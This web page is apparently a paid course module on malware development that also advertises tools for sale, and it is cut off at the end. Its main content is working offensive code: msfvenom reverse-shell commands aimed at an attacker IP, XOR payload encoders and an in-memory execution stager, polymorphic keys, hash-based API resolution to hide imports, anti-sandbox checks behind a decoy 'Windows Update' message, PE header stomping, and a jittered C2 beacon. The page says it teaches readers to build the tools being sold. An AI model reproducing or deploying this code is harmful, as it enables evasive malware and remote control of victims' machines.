Module 09: Malware Development LIVE TESTED TOOLS FOR SALE

Module 9 of 22 — Build it yourself, or buy it built

🧠 The Core Truth

Malware is just software that does what the user doesn't want. The same APIs that install your printer driver can install a backdoor. The difference is intent, not technique. Learn the technique, choose your intent.

Why this matters: Every technique in this module is dual-use. VirtualAlloc allocates memory for both legitimate apps and shellcode. CreateRemoteThread is used by debuggers and injectors alike. The OS cannot distinguish intent — it only sees the API call. This is why defense must be behavioral, not signature-based.

🎯 Soldier Translation

This module teaches you to build the tools we sell. Some soldiers want to understand their weapon before they field it. Others just want the weapon that works. Both are valid. The course teaches; the repo delivers.

Think of it like learning to build a rifle versus buying one. The course is the armoury. The repo is the quartermaster.

"Malware is just software that does bad things."

A word processor writes files you want. Ransomware writes files you can't read. A remote admin tool helps IT fix your machine; a RAT lets an attacker spy on it. The code itself is neutral — the same Windows APIs, the same file formats, the same network sockets. What makes it malware is the intent behind the execution.

Red: Stop treating malware like magic. If you can write a normal program, you can write malware — you just aim the technique at a different goal. Blue: Because goodware and malware use identical APIs, signatures fail. Focus on behavior, context, and chain of execution, not whether a binary "looks evil."

📚 Prerequisites — What You Need First

This module assumes you understand these concepts from earlier modules:

Module 01: Networking

TCP/UDP sockets, port binding, reverse vs bind shells. Your malware needs to talk.

Module 03: PowerShell

Windows API calls through PowerShell. Many loaders use PowerShell as the initial stager.

Module 06: Memory Forensics

How Windows manages process memory. VirtualAlloc, memory protection flags, PE headers. Critical for shellcode construction.

Module 08: Privilege Escalation

Token manipulation, impersonation, privilege boundaries. Malware often needs SYSTEM.

Module 10: Code Injection

How to get your code into another process. Shellcode is the payload; injection is the delivery.

Module 12: Defensive Verification

How AV and EDR detect malware. Understanding detection is prerequisite to evasion.

🦠 Malware Types — The Taxonomy of Bad Code

Before you build, you must know what you're building. Each type has a purpose, a signature, and a detection profile.

🐴Trojan

Disguised as legitimate software. The classic social-engineering payload. A game installer that also installs a keylogger.

Detection: Behavioral analysis, reputation scoring, code signing validation.

🔒Ransomware

Encrypts user files, demands payment for decryption. Uses strong crypto (AES-256 + RSA-2048) and targets backups.

Detection: Mass file modification, entropy spikes, shadow copy deletion.

🐛Worm

Self-replicating malware that spreads across networks without user interaction. Exploits vulnerabilities or weak credentials.

Detection: Network scanning behavior, rapid connection attempts, SMB anomaly.

🦎Rootkit

Hides its presence by hooking system calls, modifying kernel structures, or subverting the boot process. See Module 11.

Detection: Memory forensics, cross-view analysis, kernel integrity checks.

🎭Backdoor / RAT

Remote Access Trojan. Provides persistent remote control. Often includes keylogging, file transfer, screen capture, and webcam access.

Detection: C2 beaconing, unexpected outbound connections, persistence mechanisms.

⛏️Crypto Miner

Abuses CPU/GPU resources to mine cryptocurrency. Often delivered via supply-chain attacks or browser exploits.

Detection: High CPU usage, GPU memory spikes, suspicious network pools.

📱Spyware / Keylogger

Captures keystrokes, screenshots, clipboard data, and microphone input. Often bundled with "free" software.

Detection: SetWindowsHookEx monitoring, clipboard access patterns, screen capture APIs.

💉Dropper / Downloader

Small initial payload whose sole job is to download and execute the real malware. Often heavily obfuscated.

Detection: Network indicators, URL reputation, entropy analysis of payload.

Why taxonomy matters

AV vendors write detection signatures for specific malware families. If you know what your malware looks like to a defender, you can change what it looks like. A RAT's C2 beaconing is detectable. A Trojan's file-drop is detectable. The 8-layer evasion stack (below) addresses each detection vector.

"The dropper is more important than the payload."

The payload is the bullet; the dropper is the smuggler who gets it past the checkpoint. A perfectly crafted implant is useless if it is caught on disk by AV before it ever runs. The dropper's job is to look boring, bypass defenses, and deliver the real code into memory. If the dropper fails, the payload never gets a chance to prove how good it is.

Red: Invest more time in delivery, obfuscation, and execution chain than in the final implant. A simple payload behind a great dropper outlasts a sophisticated payload behind a bad one. Blue: The dropper is often the weakest link in the chain. Catch the boring-looking macro, the signed-but-hollowed binary, or the script that reaches out to fetch stage two, and you stop the whole operation before the real damage begins.

🔬 Shellcode Construction — Writing Code Without a Compiler

Shellcode is position-independent code — machine code that can run from any memory address. It has no imports, no sections, no PE header. Just raw bytes that the CPU executes directly.

What Makes Shellcode Different from Normal Code

Normal Program Shellcode
Compiled from C/C++ source Hand-written assembly or generated by tools
Has PE header, imports, sections No header. No imports. Raw machine code only.
Relies on OS loader for imports Must resolve APIs dynamically at runtime
Fixed base address (usually) Position-independent — runs anywhere
Can be large (MBs) Must be small (hundreds of bytes to a few KB)

Basic x64 Shellcode: Pop Calc.exe EASY

The "Hello World" of shellcode. Spawns calc.exe using only raw assembly. No imports. No linker. Just bytes.

; popcalc.asm — x64 shellcode to spawn calc.exe ; Assemble: nasm -f bin popcalc.asm -o popcalc.bin ; Test: python3 -c "import sys; sys.stdout.buffer.write(open('popcalc.bin','rb').read())" | ndisasm - [BITS 64] ; Save registers push rax push rcx push rdx push rbx push rsp push rbp push rsi push rdi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 ; Get PEB (Process Environment Block) via GS segment ; GS:[0x60] = PEB address on x64 Windows mov rax, gs:[0x60] ; PEB+0x18 = RTL_USER_PROCESS_PARAMETERS ; +0x60 = CurrentDirectory ; We use this to find kernel32.dll via the LDR list ; Walk InLoadOrderModuleList to find kernel32.dll mov rax, [rax + 0x18] ; PEB->Ldr mov rax, [rax + 0x20] ; InLoadOrderModuleList (first entry) ; First entry is the executable itself ; Second entry is ntdll.dll ; Third entry is kernel32.dll mov rax, [rax] ; Next module (ntdll) mov rax, [rax] ; Next module (kernel32) ; RAX now points to kernel32.dll LDR_DATA_TABLE_ENTRY ; +0x30 = DllBase (base address of kernel32.dll) mov rbx, [rax + 0x30] ; RBX = kernel32.dll base ; Parse kernel32.dll PE header to find Export Table ; DOS Header +0x3C = e_lfanew (offset to NT header) mov eax, [rbx + 0x3C] ; e_lfanew add rax, rbx ; RAX = NT header address ; NT Header +0x88 = DataDirectory[0] (Export Directory RVA) ; On x64, OptionalHeader is larger; offset is 0x88 mov eax, [rax + 0x88] ; Export Directory RVA add rax, rbx ; RAX = Export Directory VA ; Export Directory structure: ; +0x14 = Number of Functions ; +0x1C = AddressOfFunctions RVA ; +0x20 = AddressOfNames RVA ; +0x24 = AddressOfNameOrdinals RVA mov r12d, [rax + 0x1C] ; AddressOfFunctions RVA add r12, rbx mov r13d, [rax + 0x20] ; AddressOfNames RVA add r13, rbx mov r14d, [rax + 0x24] ; AddressOfNameOrdinals RVA add r14, rbx ; Search for "WinExec" in AddressOfNames xor rcx, rcx ; Counter .find_winexec: mov rsi, [r13 + rcx*8] ; RSI = RVA of name add rsi, rbx ; Compare first 8 bytes: "WinExec\0" mov rdi, 0x00636578456E6957 ; "WinExec\0" in little-endian mov rdx, [rsi] cmp rdx, rdi je .found_winexec inc rcx jmp .find_winexec .found_winexec: ; RCX = index into AddressOfNames ; Use ordinal to get function address mov cx, [r14 + rcx*2] ; Ordinal mov eax, [r12 + rcx*4] ; Function RVA add rax, rbx ; RAX = WinExec address ; Call WinExec("calc.exe", SW_SHOW) ; Build string on stack xor rcx, rcx mov rcx, 0x6578652E636C6163 ; "calc.exe" (little-endian, partial) push rcx mov rcx, rsp ; RCX = pointer to "calc.exe" xor rdx, rdx inc rdx ; RDX = SW_SHOW = 1 sub rsp, 0x20 ; Shadow space call rax ; WinExec("calc.exe", 1) add rsp, 0x28 ; Clean up stack ; Restore registers and return pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rdi pop rsi pop rbp pop rsp pop rbx pop rdx pop rcx pop rax ret
Why this works without imports

Windows loads kernel32.dll into every process. The PEB contains a linked list of loaded modules. By walking this list, we find kernel32.dll's base address. Then we parse its PE export table to find WinExec by name. No imports. No IAT. No strings in the binary. This is dynamic API resolution — the foundation of modern malware.

Generating Shellcode with Metasploit EASY

Hand-assembly is educational. For operations, use tools. Metasploit generates battle-tested shellcode for any payload.

=== METASPLOIT SHELLCODE GENERATION === # 1. List available payloads msfvenom --list payloads | grep windows # 2. Generate x64 reverse TCP shellcode (staged) msfvenom -p windows/x64/shell/reverse_tcp \ LHOST=192.168.1.92 LPORT=4444 \ -f c -b '\x00' -o shellcode.c # 3. Generate x64 reverse TCP shellcode (stageless) msfvenom -p windows/x64/shell_reverse_tcp \ LHOST=192.168.1.92 LPORT=4444 \ -f raw -b '\x00' -o shellcode.bin # 4. Generate with encoding (evades simple signature detection) msfvenom -p windows/x64/shell_reverse_tcp \ LHOST=192.168.1.92 LPORT=4444 \ -e x64/xor -i 3 -f raw -o encoded.bin # 5. Common formats -f c # C array (for embedding in C code) -f raw # Raw bytes (for injection) -f python # Python bytearray -f powershell # PowerShell byte array -f exe # Windows executable -f dll # Windows DLL === OPTIONS === -b '\x00' # Avoid null bytes (string-safe) -b '\x00\x0a\x0d' # Avoid null, newline, carriage return -e # Apply encoding (x64/xor, x86/shikata_ga_nai) -i # Encoding iterations

Cross-link: For C2 integration, see Module 16: C2 Frameworks. For payload delivery, see Module 10: Code Injection.

🔐 XOR Obfuscation — Hiding Your Payload in Plain Sight

AV scans for signatures — known byte sequences in known malware. If your shellcode bytes are always the same, AV will recognize them. XOR obfuscation makes the bytes different every time while preserving the original code.

How XOR Obfuscation Works

XOR is a bitwise operation with a magical property: A XOR B = C, then C XOR B = A. If you XOR your shellcode with a key, you get gibberish. If you XOR the gibberish with the same key, you get your shellcode back.

The key insight: Encrypted shellcode looks like random data. AV has no signature for random data. At runtime, your loader decrypts and executes.

XOR Encoder in Python EASY

Generate a random key, XOR each byte of shellcode, output the encrypted payload and the key.

# xor_encoder.py — Encrypt shellcode with random XOR key # Usage: python3 xor_encoder.py shellcode.bin import sys import os import random def xor_encrypt(data, key): """XOR each byte of data with the repeating key""" return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))]) def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} ") sys.exit(1) # Read raw shellcode with open(sys.argv[1], 'rb') as f: shellcode = f.read() # Generate random 1-byte key (can be extended to multi-byte) key = bytes([random.randint(1, 255)]) # Encrypt encrypted = xor_encrypt(shellcode, key) # Verify: decrypt and compare decrypted = xor_encrypt(encrypted, key) assert decrypted == shellcode, "Decryption failed!" # Output as C array print(f"// XOR Key: 0x{key.hex()}") print(f"// Original size: {len(shellcode)} bytes") print(f"// Encrypted size: {len(encrypted)} bytes") print() print("unsigned char encrypted_shellcode[] = {") for i in range(0, len(encrypted), 12): line = encrypted[i:i+12] hex_str = ', '.join([f'0x{b:02x}' for b in line]) print(f" {hex_str},") print("};") print(f"\nunsigned char xor_key = 0x{key.hex()};") print(f"size_t payload_size = {len(encrypted)};") # Save to file out_file = sys.argv[1].replace('.bin', '_xor.bin') with open(out_file, 'wb') as f: f.write(encrypted) print(f"\n// Saved encrypted payload to: {out_file}") if __name__ == '__main__': main()

XOR Decoder Stub in C MEDIUM

The decoder runs inside the target process. It decrypts the payload in-place, then jumps to it. This is the stager — the small, innocent-looking program that unpacks the real payload.

// xor_decoder.c — In-memory XOR decryption and execution // Compile: cl.exe /O1 /GS- xor_decoder.c /Fe:stager.exe #include #include // Encrypted payload (generated by xor_encoder.py) unsigned char encrypted_shellcode[] = { 0x91, 0x92, 0x93, /* ... encrypted bytes ... */ }; unsigned char xor_key = 0x42; size_t payload_size = sizeof(encrypted_shellcode); int main() { // Anti-sandbox: timing check DWORD start = GetTickCount(); Sleep(2000); if (GetTickCount() - start < 1900) { // Sleep was skipped — probably in a sandbox return 0; } // Allocate executable memory LPVOID exec_mem = VirtualAlloc( NULL, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE // Start RW, change to RX later ); if (!exec_mem) { printf("[-] VirtualAlloc failed\n"); return 1; } // Copy encrypted payload to allocated memory memcpy(exec_mem, encrypted_shellcode, payload_size); // Decrypt in-place unsigned char* payload = (unsigned char*)exec_mem; for (size_t i = 0; i < payload_size; i++) { payload[i] ^= xor_key; } // Change memory protection to RX (execute, read-only) DWORD oldProtect; if (!VirtualProtect(exec_mem, payload_size, PAGE_EXECUTE_READ, &oldProtect)) { printf("[-] VirtualProtect failed\n"); VirtualFree(exec_mem, 0, MEM_RELEASE); return 1; } // Flush instruction cache (important on some CPUs) FlushInstructionCache(GetCurrentProcess(), exec_mem, payload_size); // Execute the decrypted shellcode // Cast to function pointer and call void (*shellcode_func)() = (void(*)())exec_mem; shellcode_func(); // Cleanup (shellcode usually never returns) VirtualFree(exec_mem, 0, MEM_RELEASE); return 0; }
⚠️ Why we use PAGE_READWRITE first, then PAGE_EXECUTE_READ

Some EDR solutions monitor for PAGE_EXECUTE_READWRITE allocations — a classic malware indicator. By allocating RW first, then changing to RX, we avoid the suspicious combined permission. This is Layer 1 of the evasion stack.

Polymorphic XOR: Changing the Key Every Build MEDIUM

Static XOR keys are eventually signatured. Polymorphic malware changes its decryption routine and key on every build, making signature-based detection impossible.

// polymorphic_xor.c — Multi-byte XOR with rolling key // The key itself is derived from a seed, changing every compilation #define SEED 0xDEADBEEF // Change this per build unsigned char derive_key(size_t index) { // Simple PRNG: each key byte derived from seed + index unsigned int state = SEED + (unsigned int)index; state ^= state << 13; state ^= state >> 17; state ^= state << 5; return (unsigned char)(state & 0xFF); } void decrypt_payload(unsigned char* payload, size_t size) { for (size_t i = 0; i < size; i++) { payload[i] ^= derive_key(i); } } // Build script changes SEED automatically: // python3 -c "import random; print(f'#define SEED 0x{random.randint(0x10000000, 0xFFFFFFFF):08X}')" > seed.h

Result: Every build produces different encrypted bytes, different decryption code, and different key derivation. No two builds look alike. Signature-based AV is defeated.

🔍 Dynamic API Resolution — Finding Windows APIs at Runtime

Normal programs declare imports in the Import Address Table (IAT). AV scans the IAT for suspicious APIs: VirtualAlloc, CreateRemoteThread, WinExec. If your binary imports these, it's flagged.

Dynamic API resolution hides all imports. The binary has no IAT entries for suspicious APIs. It finds them at runtime by parsing Windows DLLs in memory.

Dynamic API Resolution in C HARD

Walk the PEB to find ntdll.dll and kernel32.dll, then parse their export tables to find any API by hashed name. This is the technique used by Cobalt Strike, Metasploit, and virtually all modern malware.

// api_resolve.c — Dynamic API resolution without imports // Compile: x86_64-w64-mingw32-gcc -O2 -s api_resolve.c -o api_resolve.exe // Or: cl.exe /O1 /GS- api_resolve.c #include #include // djb2 hash function — fast, simple, collision-resistant enough static uint32_t djb2_hash(const char* str) { uint32_t hash = 5381; int c; while ((c = *str++)) { hash = ((hash << 5) + hash) + c; // hash * 33 + c } return hash; } // Precomputed hashes for common APIs #define HASH_LoadLibraryA 0x8A8B4036 #define HASH_GetProcAddress 0x9C9C5A38 #define HASH_VirtualAlloc 0xE46EBA5C #define HASH_VirtualProtect 0xE33F7A56 #define HASH_CreateThread 0xB8FC5E6A #define HASH_WaitForSingleObject 0xC3C3C3C3 // PEB structures (simplified) typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; // ... more fields } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA; // Get module base by hash of its name PVOID get_module_by_hash(uint32_t hash) { #ifdef _WIN64 PPEB peb = (PPEB)__readgsqword(0x60); #else PPEB peb = (PPEB)__readfsdword(0x30); #endif PPEB_LDR_DATA ldr = peb->Ldr; PLIST_ENTRY list = &ldr->InLoadOrderModuleList; PLIST_ENTRY current = list->Flink; while (current != list) { PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD( current, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks ); // Hash the base name (e.g., "kernel32.dll") char name[64]; int i = 0; while (i < 63 && entry->BaseDllName.Buffer[i]) { name[i] = (char)entry->BaseDllName.Buffer[i]; i++; } name[i] = '\0'; if (djb2_hash(name) == hash) { return entry->DllBase; } current = current->Flink; } return NULL; } // Get function address by hash from a module PVOID get_proc_by_hash(PVOID module_base, uint32_t hash) { // Parse PE header PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)module_base; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)module_base + dos->e_lfanew); PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)( (BYTE*)module_base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress ); DWORD* names = (DWORD*)((BYTE*)module_base + exp->AddressOfNames); WORD* ordinals = (WORD*)((BYTE*)module_base + exp->AddressOfNameOrdinals); DWORD* functions = (DWORD*)((BYTE*)module_base + exp->AddressOfFunctions); for (DWORD i = 0; i < exp->NumberOfNames; i++) { char* name = (char*)((BYTE*)module_base + names[i]); if (djb2_hash(name) == hash) { return (BYTE*)module_base + functions[ordinals[i]]; } } return NULL; } // Function pointer types typedef HMODULE (WINAPI *pLoadLibraryA)(LPCSTR); typedef FARPROC (WINAPI *pGetProcAddress)(HMODULE, LPCSTR); typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); typedef BOOL (WINAPI *pVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); typedef HANDLE (WINAPI *pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); int main() { // Resolve all APIs dynamically — NO IMPORTS in IAT PVOID kernel32 = get_module_by_hash(djb2_hash("kernel32.dll")); if (!kernel32) return 1; pLoadLibraryA LoadLibraryA = (pLoadLibraryA)get_proc_by_hash(kernel32, HASH_LoadLibraryA); pGetProcAddress GetProcAddress = (pGetProcAddress)get_proc_by_hash(kernel32, HASH_GetProcAddress); pVirtualAlloc VirtualAlloc = (pVirtualAlloc)get_proc_by_hash(kernel32, HASH_VirtualAlloc); pVirtualProtect VirtualProtect = (pVirtualProtect)get_proc_by_hash(kernel32, HASH_VirtualProtect); pCreateThread CreateThread = (pCreateThread)get_proc_by_hash(kernel32, HASH_CreateThread); // Now we have all APIs without a single import entry // AV scanning IAT sees: kernel32.dll (maybe), but NOT VirtualAlloc, CreateThread, etc. // Example: allocate memory for payload LPVOID mem = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (mem) { // ... copy and execute payload ... VirtualProtect(mem, 4096, PAGE_EXECUTE_READ, &(DWORD){0}); } return 0; }
Why hashing beats string comparison

String literals like "VirtualAlloc" appear in the binary's .rdata section. AV scans this section for suspicious strings. By hashing the names at compile time and comparing hashes at runtime, the binary contains no suspicious strings. The hash values look like random numbers. This is Layer 2 of the evasion stack.

🛡️ Anti-Sandbox Techniques — Detecting Analysis Environments

Sandboxes run malware in a controlled environment to observe its behavior. If malware detects a sandbox, it changes behavior — sleeps longer, does nothing, or exits. The sandbox sees benign behavior and marks the sample as safe.

Anti-Sandbox Checklist MEDIUM

Modern malware uses dozens of checks. Here are the most effective, from simple to advanced.

// anti_sandbox.c — Multiple sandbox detection techniques // Compile: x86_64-w64-mingw32-gcc -O2 anti_sandbox.c -o anti_sandbox.exe #include #include // === CHECK 1: Timing Analysis === // Sandboxes often accelerate Sleep() calls to speed up analysis BOOL check_accelerated_sleep() { DWORD start = GetTickCount(); Sleep(5000); // Request 5 seconds DWORD elapsed = GetTickCount() - start; // If sleep took less than 4.5 seconds, it's accelerated if (elapsed < 4500) { return TRUE; // Sandbox detected } return FALSE; } // === CHECK 2: CPU Core Count === // Most sandboxes run with 1-2 cores for efficiency BOOL check_cpu_cores() { SYSTEM_INFO si; GetSystemInfo(&si); if (si.dwNumberOfProcessors < 2) { return TRUE; // Likely sandbox } return FALSE; } // === CHECK 3: RAM Size === // Sandboxes often have small RAM allocations BOOL check_ram_size() { MEMORYSTATUSEX ms; ms.dwLength = sizeof(ms); GlobalMemoryStatusEx(&ms); // Less than 2GB RAM is suspicious if (ms.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) { return TRUE; } return FALSE; } // === CHECK 4: Process Enumeration === // Look for known sandbox/analysis tools BOOL check_analysis_tools() { const char* tools[] = { "vmsrvc.exe", // VMware "vmusrvc.exe", // VMware "vmtoolsd.exe", // VMware Tools "vmwaretray.exe", // VMware Tray "vboxservice.exe",// VirtualBox "vboxtray.exe", // VirtualBox "xenservice.exe", // Xen "qemu-ga.exe", // QEMU "wireshark.exe", // Network analysis "procmon.exe", // Process Monitor "processhacker.exe", // Process Hacker "autoruns.exe", // Sysinternals "filemon.exe", // File Monitor "regmon.exe", // Registry Monitor "idaq.exe", // IDA Pro "x64dbg.exe", // x64dbg "ollydbg.exe", // OllyDbg "immunitydebugger.exe", // Immunity "pestudio.exe", // PE analysis "sandcastle.exe", // Sandboxie NULL }; HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(pe); if (Process32First(snap, &pe)) { do { for (int i = 0; tools[i] != NULL; i++) { if (_stricmp(pe.szExeFile, tools[i]) == 0) { CloseHandle(snap); return TRUE; // Analysis tool found } } } while (Process32Next(snap, &pe)); } CloseHandle(snap); return FALSE; } // === CHECK 5: Debugger Detection === // IsDebuggerPresent is simple but often hooked in sandboxes BOOL check_debugger() { if (IsDebuggerPresent()) return TRUE; // Check PEB.BeingDebugged flag (can be bypassed, but still useful) #ifdef _WIN64 PBYTE peb = (PBYTE)__readgsqword(0x60); #else PBYTE peb = (PBYTE)__readfsdword(0x30); #endif if (peb[2] != 0) return TRUE; // PEB+0x2 = BeingDebugged // Check NtGlobalFlag (heap debugging flags) DWORD ntGlobalFlag = *(DWORD*)(peb + 0xBC); // x64 offset if (ntGlobalFlag & 0x70) return TRUE; // FLG_HEAP_ENABLE_* flags return FALSE; } // === CHECK 6: Sandbox Artifacts === // Check for known sandbox usernames, hostnames, DLLs BOOL check_sandbox_artifacts() { char username[256]; DWORD size = sizeof(username); GetUserNameA(username, &size); const char* sandbox_users[] = { "sandbox", "malware", "test", "virus", "john doe", "admin", "user", "vmware", "virtualbox", NULL }; for (int i = 0; sandbox_users[i] != NULL; i++) { if (_stricmp(username, sandbox_users[i]) == 0) { return TRUE; } } // Check hostname char hostname[256]; size = sizeof(hostname); GetComputerNameA(hostname, &size); const char* sandbox_hosts[] = { "sandbox", "malware", "sample", "cuckoo", "vmware", NULL }; for (int i = 0; sandbox_hosts[i] != NULL; i++) { if (StrStrIA(hostname, sandbox_hosts[i]) != NULL) { return TRUE; } } return FALSE; } // === CHECK 7: Mouse Movement === // Real users move the mouse. Sandboxes often don't. BOOL check_mouse_activity() { POINT pt1, pt2; GetCursorPos(&pt1); Sleep(2000); GetCursorPos(&pt2); // If mouse hasn't moved, might be sandbox if (pt1.x == pt2.x && pt1.y == pt2.y) { return TRUE; } return FALSE; } // === MAIN: Aggregate Score === int main() { int score = 0; if (check_accelerated_sleep()) score += 3; if (check_cpu_cores()) score += 2; if (check_ram_size()) score += 2; if (check_analysis_tools()) score += 5; if (check_debugger()) score += 4; if (check_sandbox_artifacts()) score += 3; if (check_mouse_activity()) score += 1; // Threshold: if score >= 5, assume sandbox and exit benignly if (score >= 5) { // Do something harmless and exit MessageBox(NULL, "Update complete.", "Windows Update", MB_OK); return 0; } // Not a sandbox — execute real payload // ... malicious code here ... return 0; }
⚠️ The Arms Race

Sandboxes are evolving. Some now simulate mouse movement, provide 4GB+ RAM, and run for hours. Advanced malware uses staged execution — waits days before activating, or requires specific system events (like a user logging in 3 times). The best anti-sandbox is patience.

📦 PE Header Stomping — Hiding in Legitimate Clothing

Every Windows executable has a PE (Portable Executable) header that describes its structure: sections, imports, entry point, and metadata. AV scanners read this header to classify the file. PE header stomping modifies or replaces the header to look like a legitimate program.

PE Header Stomping Techniques HARD

// pe_stomp.c — Modify PE header to masquerade as legitimate software // Compile: cl.exe /O1 /GS- pe_stomp.c #include #include // Technique 1: Clone a legitimate PE header BOOL clone_pe_header(const char* legit_path, const char* payload_path) { // Read legitimate file's PE header HANDLE hLegit = CreateFileA(legit_path, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); if (hLegit == INVALID_HANDLE_VALUE) return FALSE; // Read DOS header + NT header (first 0x400 bytes usually enough) BYTE header[0x400]; DWORD read; ReadFile(hLegit, header, 0x400, &read, NULL); CloseHandle(hLegit); // Verify it's a valid PE PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)header; if (dos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(header + dos->e_lfanew); if (nt->Signature != IMAGE_NT_SIGNATURE) return FALSE; // Open payload file HANDLE hPayload = CreateFileA(payload_path, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hPayload == INVALID_HANDLE_VALUE) return FALSE; // Overwrite payload's header with legitimate header // Note: This breaks execution unless you also fix section tables // This is a demonstration of the CONCEPT SetFilePointer(hPayload, 0, NULL, FILE_BEGIN); WriteFile(hPayload, header, 0x400, &read, NULL); CloseHandle(hPayload); return TRUE; } // Technique 2: Modify TimeDateStamp to match a known good binary BOOL spoof_timestamp(const char* target_path, DWORD legit_timestamp) { HANDLE hFile = CreateFileA(target_path, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) return FALSE; BYTE header[0x400]; DWORD read; ReadFile(hFile, header, 0x400, &read, NULL); PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)header; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(header + dos->e_lfanew); // Overwrite TimeDateStamp nt->FileHeader.TimeDateStamp = legit_timestamp; SetFilePointer(hFile, 0, NULL, FILE_BEGIN); WriteFile(hFile, header, 0x400, &read, NULL); CloseHandle(hFile); return TRUE; } // Technique 3: Add legitimate certificate overlay // Some AVs trust signed binaries. Adding a valid cert overlay // (without actually signing) can confuse heuristic scanners. // Real execution requires the cert to be valid — this is for static analysis evasion. // Technique 4: Section name masquerading // Rename .text to .CODE, .data to .DATA, .rsrc to .RSRC // Some AVs flag unusual section names void masquerade_sections(const char* path) { // Implementation: read section table, rename to common names // This is left as an exercise — modify section headers in the PE }
Why PE stomping still works

Modern AV uses multiple analysis stages: static (signature), dynamic (sandbox), and heuristic (behavioral). PE stomping defeats static analysis. If the file also passes sandbox checks (anti-sandbox), and behaves benignly until triggered (delayed execution), it can reach the target undetected. This is Layer 3 of the evasion stack.

⏱️ Beacon Jitter — Irregular C2 Communication Patterns

Network defenders look for regular intervals — a beacon every 30 seconds is a dead giveaway. Beacon jitter introduces randomness to C2 communication timing, making detection by time-based heuristics impossible.

Beacon Jitter Implementation MEDIUM

// beacon_jitter.c — Irregular C2 beaconing with jitter and jitter drift // Compile: x86_64-w64-mingw32-gcc -O2 beacon_jitter.c -o beacon.exe -lws2_32 #include #include #include #include #include #pragma comment(lib, "ws2_32.lib") #define C2_HOST "192.168.1.92" #define C2_PORT 4444 #define BASE_INTERVAL 30000 // Base: 30 seconds #define JITTER_PERCENT 25 // +/- 25% jitter #define MAX_DRIFT 300000 // Max 5 minutes drift before reset double random_double() { return (double)rand() / (double)RAND_MAX; } DWORD calculate_jittered_interval() { // Calculate jitter: base +/- (base * jitter_percent / 100) double jitter = (random_double() * 2.0 - 1.0) * (JITTER_PERCENT / 100.0); DWORD interval = (DWORD)(BASE_INTERVAL * (1.0 + jitter)); return interval; } // Add random "dead" periods where no beacon is sent BOOL should_skip_beacon() { // 5% chance to skip a beacon entirely return random_double() < 0.05; } // Random payload size variation to evade size-based detection DWORD random_payload_size() { // Return between 100 and 5000 bytes return (DWORD)(100 + random_double() * 4900); } void beacon_loop() { WSADATA wsa; WSAStartup(MAKEWORD(2, 2), &wsa); srand((unsigned int)time(NULL) ^ GetTickCount()); DWORD total_drift = 0; int beacon_count = 0; while (1) { // Check if we should skip this beacon if (should_skip_beacon()) { Sleep(calculate_jittered_interval()); continue; } // Connect to C2 SOCKET sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_port = htons(C2_PORT); addr.sin_addr.s_addr = inet_addr(C2_HOST); if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) { // Send heartbeat with random padding DWORD payload_size = random_payload_size(); char* payload = (char*)malloc(payload_size); // Fill with random data + embedded command request for (DWORD i = 0; i < payload_size; i++) { payload[i] = (char)(rand() % 256); } // Embed magic bytes at random offset DWORD magic_offset = (DWORD)(random_double() * (payload_size - 16)); memcpy(payload + magic_offset, "BEACON", 6); send(sock, payload, payload_size, 0); // Receive commands char response[4096]; int recv_len = recv(sock, response, sizeof(response), 0); if (recv_len > 0) { // Process command... } free(payload); closesocket(sock); beacon_count++; } // Calculate drift from expected schedule DWORD interval = calculate_jittered_interval(); total_drift += (interval > BASE_INTERVAL) ? (interval - BASE_INTERVAL) : 0; // If drift exceeds max, reset to base interval if (total_drift > MAX_DRIFT) { interval = BASE_INTERVAL; total_drift = 0; } Sleep(interval); } WSACleanup(); } int main() { // Anti-sandbox: require multiple beacons before real activation beacon_loop(); return 0; }
Why jitter defeats time-based detection

